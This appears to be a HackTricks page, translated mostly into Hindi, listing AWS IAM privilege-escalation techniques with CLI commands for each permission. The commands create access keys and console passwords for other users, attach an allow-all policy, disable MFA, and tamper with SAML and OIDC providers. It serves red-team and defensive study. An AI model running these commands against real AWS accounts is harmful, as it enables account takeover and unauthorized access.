AWS - IAM Privesc

Reading time: 9 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

IAM

IAM के बारे में अधिक जानकारी के लिए देखें:

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

एक नया IAM policy version बनाने की क्षमता देता है, bypassing the need for iam:SetDefaultPolicyVersion permission by using the --set-as-default flag. यह कस्टम permissions परिभाषित करने में सक्षम बनाता है।

Exploit Command:

bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

प्रभाव: किसी भी संसाधन पर किसी भी क्रिया की अनुमति देकर प्रत्यक्ष रूप से privileges बढ़ाता है।

iam:SetDefaultPolicyVersion

IAM policy के डिफ़ॉल्ट वर्शन को किसी अन्य मौजूदा वर्शन में बदलने की अनुमति देता है, जो कि नए वर्शन में अधिक permissions होने पर संभावित रूप से privileges बढ़ा सकता है।

Bash कमांड:

bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

प्रभाव: अधिक permissions सक्षम करने से अप्रत्यक्ष privilege escalation होता है।

iam:CreateAccessKey

किसी अन्य उपयोगकर्ता के लिए access key ID और secret access key बनाने की अनुमति देता है, जिससे संभावित privilege escalation हो सकता है।

Exploit:

bash
aws iam create-access-key --user-name <target_user>

Impact: किसी अन्य उपयोगकर्ता के विस्तारित permissions को अपनाकर सीधे privilege escalation।

iam:CreateLoginProfile | iam:UpdateLoginProfile

login profile बनाने या अपडेट करने की अनुमति देता है, जिसमें AWS console login के लिए पासवर्ड सेट करना शामिल है, जो सीधे privilege escalation की ओर ले जाता है।

Exploit for Creation:

bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Exploit अपडेट के लिए:

bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Impact: किसी भी user के रूप में लॉगिन करके सीधे privilege escalation।

iam:UpdateAccessKey

निष्क्रिय access key को सक्रिय करने की अनुमति देता है, जिससे संभवतः अनधिकृत पहुँच हो सकती है यदि attacker के पास वह निष्क्रिय access key मौजूद हो।

Exploit:

bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

प्रभाव: एक्सेस कुंजियाँ पुनः सक्रिय करके सीधे privilege escalation संभव।

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

विशिष्ट AWS सेवाओं (उदा., CodeCommit, Amazon Keyspaces) के लिए क्रेडेंशियल्स उत्पन्न करने या रीसेट करने की अनुमति देता है, जो संबद्ध उपयोगकर्ता की अनुमतियाँ प्राप्त करते हैं।

Exploit for Creation:

bash
aws iam create-service-specific-credential --user-name <username> --service-name <service>

Reset के लिए Exploit:

bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Impact: उपयोगकर्ता की सेवा अनुमतियों के भीतर सीधे privilege escalation।

iam:AttachUserPolicy || iam:AttachGroupPolicy

यह उपयोगकर्ताओं या समूहों पर नीतियाँ संलग्न करने की अनुमति देता है, और संलग्न नीति की अनुमतियाँ प्राप्त करके सीधे अधिकार बढ़ा देता है।

Exploit for User:

bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

समूह के लिए Exploit:

bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

प्रभाव: नीति द्वारा प्रदान किए गए किसी भी अधिकार पर प्रत्यक्ष privilege escalation।

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

यह roles, users, या groups पर नीतियाँ attach/put करने की अनुमति देता है, जिससे अतिरिक्त अनुमतियाँ देकर सीधे privilege escalation संभव हो जाता है।

Role के लिए Exploit:

bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Inline Policies के लिए Exploit:

bash
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

आप निम्नलिखित नीति का उपयोग कर सकते हैं:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

प्रभाव: नीतियों के माध्यम से permissions जोड़कर सीधे privilege escalation होता है।

iam:AddUserToGroup

खुद को एक IAM group में जोड़ने की अनुमति देता है, समूह की permissions को inherit करके privileges escalate हो जाते हैं।

Exploit:

bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>

प्रभाव: सीधे समूह की permissions के स्तर तक privilege escalation।

iam:UpdateAssumeRolePolicy

एक role के assume role policy document को बदलने की अनुमति देता है, जिससे उस role को assume करने और उससे जुड़ी permissions का उपयोग करने में सक्षम होता है।

Exploit:

bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

जहाँ पॉलिसी नीचे दिखाए अनुसार है, जो उपयोगकर्ता को उस रोल को assume करने की अनुमति देती है:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Impact: किसी भी role की permissions को assume करके Direct privilege escalation संभव।

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

CodeCommit के लिए authenticating हेतु SSH public key अपलोड करने और MFA devices को deactivate करने की अनुमति देता है, जिससे संभावित indirect privilege escalation हो सकता है।

Exploit for SSH Key Upload:

bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Exploit के लिए MFA निष्क्रियकरण:

bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

प्रभाव: CodeCommit एक्सेस सक्षम करके या MFA सुरक्षा अक्षम करके अप्रत्यक्ष privilege escalation।

iam:ResyncMFADevice

MFA डिवाइस का पुनः-सिंक करने की अनुमति देता है, जो MFA सुरक्षा में छेड़छाड़ करके संभावित रूप से अप्रत्यक्ष privilege escalation का कारण बन सकता है।

Bash Command:

bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

प्रभाव: MFA devices को जोड़ने या हेरफेर करने से अप्रत्यक्ष privilege escalation।

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

इन अनुमतियों के साथ आप SAML connection के XML metadata को बदल सकते हैं। फिर, आप SAML federation का दुरुपयोग करके किसी भी role जो उसे ट्रस्ट कर रहा हो के साथ login कर सकते हैं।

ध्यान दें कि ऐसा करने पर legit users won't be able to login। हालांकि, आप XML प्राप्त कर सकते हैं, अपना XML डालकर login कर सकते हैं और फिर पहले वाले को वापस कॉन्फ़िगर कर सकते हैं।

bash
# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

note

TODO: एक Tool जो SAML metadata जनरेट करने और एक निर्दिष्ट role के साथ login करने में सक्षम हो

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(इस बारे में सुनिश्चित नहीं) यदि किसी attacker के पास ये permissions हों तो वह provider पर trust करने वाले सभी roles में login करने के लिए नया Thumbprint जोड़ सकता है।

bash
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

iam:PutUserPermissionsBoundary

यह permission एक attacker को किसी user की permissions boundary को अपडेट करने की अनुमति देता है, जिससे संभावित रूप से उनके privileges escalate हो सकते हैं और वे उन actions को कर पाएंगे जो सामान्यतः उनके existing permissions द्वारा प्रतिबंधित होते हैं।

bash
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>

Un ejemplo de una política que no aplica ninguna restricción es:


{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}

iam:PutRolePermissionsBoundary

iam:PutRolePermissionsBoundary अनुमति रखने वाला व्यक्ति किसी मौजूदा role पर permissions boundary सेट कर सकता है। जोखिम तब उत्पन्न होता है जब इस अनुमति वाला कोई role की boundary बदलता है: वे संचालन को अनुचित रूप से सीमित कर सकते हैं (जिससे service disruption हो सकता है) या, अगर वे एक permissive boundary अटैच करते हैं, तो प्रभावी रूप से role की क्षमताओं का विस्तार कर सकते हैं और escalate privileges कर सकते हैं।

bash
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें